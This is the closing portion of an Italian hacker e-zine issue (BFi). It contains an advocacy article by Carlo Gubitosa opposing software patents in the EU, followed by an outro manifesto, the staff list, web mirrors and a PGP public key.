NORMATIVA CHE POTREBBE OSTACOLARE IRRIMEDIABILMENTE LA LIBERA PRODUZIONE DI SOFTWARE SU TUTTO IL TERRITORIO DELL'UNIONE. I BREVETTI SUI PROGRAMMI INFORMATICI E SU PARTE DI ESSI RISCHIANO DI COMPROMETTERE L'INDUSTRIA INFORMATICA EUROPEA. ----------------------------------------------------------------------- CONTRO I BREVETTI SOFTWARE Carlo Gubitosa - Associazione PeaceLink 21 febbraio 1997: l'editor di Internet Patent News Service, Gregory Aharonian, assegna a William H. Gates III il titolo di "Peggior brevetto software dell'anno", un titolo che vuole denunciare la facilita' con cui vengono rilasciati brevetti negli USA, soprattutto nel settore dell'informatica, dove i piccoli sviluppatori di software sono costretti a lavorare camminando su un campo minato fatto da centinaia di migliaia di brevetti, il piu' delle volte relativi ad algoritmi di base e a tecniche che ormai sono patrimonio comune di tutti i programmatori. La reinvenzione indipendente e' la norma nell'ambito della programmazione, e di conseguenza e' molto alta la probabilita' di dover sostenere delle spese giudiziarie semplicemente per aver reinventato un algoritmo gia' brevettato, spese che possono sostenere solo grandi aziende dotate di uffici legali specializzati. Nulla protegge i programmatori indipendenti dall'uso accidentale di una tecnica brevettata, e quindi dall'essere citati in giudizio per questo motivo. Contro il sistema dei brevetti si e' levata la voce di Richard Stallman, con un articolo intitolato "Contro i brevetti software" (Communications of the ACM, gennaio 92, vol 35 n. 81), in cui si afferma che "I brevetti software minacciano di devastare l'industria informatica americana". Il brevetto con cui Bill Gates ha "vinto" il titolo assegnato da Gregory Aharonian e' il numero 5.552.982, che corrisponde a un "metodo e sistema per l'elaborazione di campi in un programma di elaborazione dei documenti", praticamente una tecnica per associare il testo di una lettera ad un numero qualsiasi di indirizzi a cui spedire la stessa missiva. Un sistema, insomma, gia' incluso in un numero vastissimo di programmi per l'elaborazione dei testi attualmente in commercio. L'EUROPA SI ADEGUA Anche nel vecchio continente lo scenario relativo ai brevetti software sembra destinato ad una evoluzione (o meglio ad una involuzione) che riproporrebbe in chiave europea gli stessi problemi e le stesse limitazioni che negli Stati Uniti hanno praticamente immobilizzato i programmatori indipendenti a tutto vantaggio dei grandi potentati informatici. Un'operazione del genere, tradotta dall'informatica alla letteratura, sarebbe equivalente alla concessione di brevetti su alcune frasi di uso corrente. Scrivere "Ciao, come stai?" in un libro o in una rivista diventerebbe un'operazione accessibile solo a grandi gruppi editoriali che possono permettersi di assumere una staff legale per controllare che quella semplice frase non sia gia' stata brevettata da qualcun altro, ed eventualmente pagare profumatamente il diritto di utilizzo della frase. Che questo sistema di brevetti sia un toccasana per i giganti del software e' confermato da una nota interna di un memorandum del parlamento europeo (http://europa.eu.int/comm/dg15/en/intprop/indprop/8682it.pdf, Sezione 3.2). In questo documento si afferma che il sistema dei brevetti negli Stati Uniti "ha avuto un impatto molto positivo sull'industria dei programmi, tanto da permettere a Microsoft di detenere attualmente circa 400 brevetti americani relativi a programmi". Nel memorandum, purtroppo, non si fa menzione di tutti gli ostacoli legali, burocratici ed economici che sono diretta conseguenza di quei 400 brevetti detenuti da Microsoft, e che limitano di fatto la libera iniziativa dei programmatori indipendenti. A questo si aggiunge la pubblicazione di un "libro verde sul brevetto comunitario e sul sistema dei brevetti in Europa", presentato dalla Commissione Europea con l'ironico titolo "Promuovere l'innovazione tramite il brevetto", titolo che potra' suscitare entusiasmo tra i non addetti ai lavori, ma che ha scatenato solamente paura ed apprensione tra gli sviluppatori di software. In questo libro verde si legge che "I programmi per elaboratore elettronico oggi sono protetti, nella Comunita' europea, dal diritto d'autore in quanto opere letterarie (Direttiva 91/250/CEE del Consiglio, del 14 maggio 1991, relativa alla tutela giuridica dei programmi per elaboratore, GU n. L 122 del 17.5.91, pg. 42.) , mentre e' esclusa la loro protezione 'in quanto tali' tramite brevetti. (...) Data l'importanza sempre maggiore che assumono i software, negli ultimi anni l'Ufficio europeo dei brevetti e gli uffici dei brevetti di alcuni Stati membri hanno concesso migliaia di brevetti che proteggono i software, composti di idee e di principi di base che costituiscono 'soluzioni tecniche a problemi tecnici'. Questi brevetti non sono stati rilasciati per i software in quanto tali, ma per invenzioni connesse ai software e consistenti in un materiale ed in un software che e' loro specifico. (...) Per alcuni l'attuale equilibrio tra diritto d'autore (per i programmi in quanto tali) e brevetti (per le invenzioni connesse al software) non va modificato e ci si deve limitare a garantire che non vi siano divergenze nell'attuazione delle disposizioni in materia nei vari Stati membri. Altri, invece, ritengono che sia venuto il momento di modificare il sistema e in particolare di prevedere l'abrogazione dell'articolo 52, paragrafo 2 della Convenzione sul brevetto europeo, in modo da consentire la brevettabilita' dei programmi per elaboratore in quanto tali. Per i sostenitori di questa soluzione si tratterebbe di mantenere la condizione che l'invenzione presenti un carattere tecnico; pero', quando l'invenzione possiede questo requisito, un programma registrato su un supporto e che metta in atto l'invenzione una volta caricato e avviato, diventerebbe brevettabile." PROPOSTA DI LEGGE Sull'onda di questo "libro verde" il 24 giugno prossimo il Parlamento europeo votera' l'adozione di una proposta di legge che consentirebbe di brevettare algoritmi e tecniche software analogamente a quanto avviene negli USA. Se questa proposta dovesse essere approvata, i danni sarebbero molteplici: - verra' danneggiata la libera iniziativa dei programmatori indipendenti, ostacolando la nascita di piccole aziende produttrici di programmi, dal momento che i programmatori troveranno piu' redditizio e pratico lavorare alle dipendenze di una grossa Software House piuttosto che accollarsi le spese burocratiche e legali per la gestione delle questioni relative ai brevetti. - il costo dei programmi realizzati in Italia aumentera', dal momento che con la vendita dovranno essere ammortizzati i costi relativi alla registrazione dei brevetti e ai controlli brevettuali sul software realizzato. - moltissimi cittadini della comunita' europea verranno esposti a nuovi e inutili rischi legali per la possibilita' di reinvenzione indipendente, che renderebbe ogni attivita' di programmazione un percorso in un campo minato, in cui ad ogni passo si rischia di "saltare" su un brevetto gia' concesso ad altre persone o aziende. - L'intera Europa sarebbe danneggiata dagli interessi delle grandi compagnie informatiche statunitensi, che attualmente detengono la quasi totalita' dei brevetti relativi ai codici informatici che vengono usati come "mattoni base" nell'attivita' di programmazione. La detenzione di questi brevetti darebbe un grandissimo vantaggio all'industria informatica americana, che attraverso il cavallo di troia del software potrebbe definitivamente affermarsi su quella europea. Il Parlamento Europeo sta per approvare una normativa che pretende di alimentare l'innovazione e lo sviluppo delle tecnologie informatiche, ma che in realta' rischia di incatenare tutta la libera produzione di software del nostro continente. Per reagire a questa minaccia ormai imminente, numerosi siti web hanno pubblicato documenti esaustivi e dettagliati relativamente alla questione del software, assieme a lettere, appelli e petizioni per cercare in ogni modo di fermare questa minaccia. L'augurio che accomuna tutti gli sviluppatori di prodotti informatici e' che il 24 Giugno possa diventare un giorno di festa per tutti gli amanti della liberta', fuori e dentro i nostri computer. RIFERIMENTI: Francia: http://www.freepatents.org Italia: http://no-patents.prosa.it Germania: http://swpat.ffii.org Carlo Gubitosa - Associazione PeaceLink http://www.peacelink.it ============================================================================== ----------------------------------[ 0UTR0 ]----------------------------------- ============================================================================== -------------------------[ TEMPLE 0V PSYCHiCK Y0UTH ]------------------------- ----------------------------------[ pIGpEN ]---------------------------------- Questo numero di BFi e' dedicato a tutti coloro che affrontano la duna sabbiosa alla ricerca del granello di sabbia di interconnessione con il villaggio globale pIGpEN/s0ftpj Questo che segue e' un manifesto ... un interrupt critico spedito direttamente alla materia grigia ... e che chiude questo numero di BFi per quanto mi riguarda I GIARDINIERI DELL'ABISSO Siamo noi i giardinieri dell'abisso. Lavoriamo per bonificare un paradiso strangolato dalle erbacce - manifestazioni inconscie di paura e di odio per se stessi. Noi abbracciamo questa paura e la nostra ombra per assimilare tutto cio' che pensiamo di non essere. Ci riallineiamo alla struttura del potere. Il cambiamento e' la nostra forza. Noi rivoltiamo la terra per portare alla luce le radici dei nostri comportamenti condizionati. Identifichiamo e dissimiliamo le strutture di pensiero che ci rendono ciechi alla nostra bellezza e ci imprigionano bloccando il nostro potere. Noi trebbiamo queste erbacce rendendole irriconoscibili, oltre il significato, oltre l'esistenza, fino a raggiungere la consistenza del nulla. Le restituiamo alla loro origine, l'abisso. Il fecondo vuoto rilevato e' pura ispirazione creativa. Uniti, noi impregniamo l'abisso; l'omninada; il tuttonulla, del germe della creazione. Coltiviamo, tramite volonta' e amore del se', l'infinita' di bellezza e di amore che e' il Creato. Temple Ov Psychick Youth [ REDAZi0NE ]----------------------------------------------------------------- b0z0 - bELFaghor - Blinking - del0rean - DoLD - FuSyS - C. Gubitosa - [-JoKeR-] - pIGpEN - |scacco| - SirCondor - smaster - \sPIRIT\ - |TSuNaMi| - ValV0liN3 [ WEB ]----------------------------------------------------------------------- http://www.olografix.org/s0ftpj/bfi http://www.s0ftpj.org/bfi/ http://www.mondopc.com/bfi http://bfi.voyanet.org http://www.ecn.org/zero/bfi [ E-MAiL ]-------------------------------------------------------------------- bfi@s0ftpj.org [ PGP ]----------------------------------------------------------------------- -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQENAzZsSu8AAAEIAM5FrActPz32W1AbxJ/LDG7bB371rhB1aG7/AzDEkXH67nni DrMRyP+0u4tCTGizOGof0s/YDm2hH4jh+aGO9djJBzIEU8p1dvY677uw6oVCM374 nkjbyDjvBeuJVooKo+J6yGZuUq7jVgBKsR0uklfe5/0TUXsVva9b1pBfxqynK5OO lQGJuq7g79jTSTqsa0mbFFxAlFq5GZmL+fnZdjWGI0c2pZrz+Tdj2+Ic3dl9dWax iuy9Bp4Bq+H0mpCmnvwTMVdS2c+99s9unfnbzGvO6KqiwZzIWU9pQeK+v7W6vPa3 TbGHwwH4iaAWQH0mm7v+KdpMzqUPucgvfugfx+kABRO0FUJmSTk4IDxiZmk5OEB1 c2EubmV0PokBFQMFEDZsSu+5yC9+6B/H6QEBb6EIAMRP40T7m4Y1arNkj5enWC/b a6M4oog42xr9UHOd8X2cOBBNB8qTe+dhBIhPX0fDJnnCr0WuEQ+eiw0YHJKyk5ql GB/UkRH/hR4IpA0alUUjEYjTqL5HZmW9phMA9xiTAqoNhmXaIh7MVaYmcxhXwoOo WYOaYoklxxA5qZxOwIXRxlmaN48SKsQuPrSrHwTdKxd+qB7QDU83h8nQ7dB4MAse gDvMUdspekxAX8XBikXLvVuT0ai4xd8o8owWNR5fQAsNkbrdjOUWrOs0dbFx2K9J l3XqeKl3XEgLvVG8JyhloKl65h9rUyw6Ek5hvb5ROuyS/lAGGWvxv2YJrN8ABLo= =o7CG -----END PGP PUBLIC KEY BLOCK----- --------------------[ BUTCHERED ]---[ FR0M ]---[ iNSiDE ]--------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ==============================================================================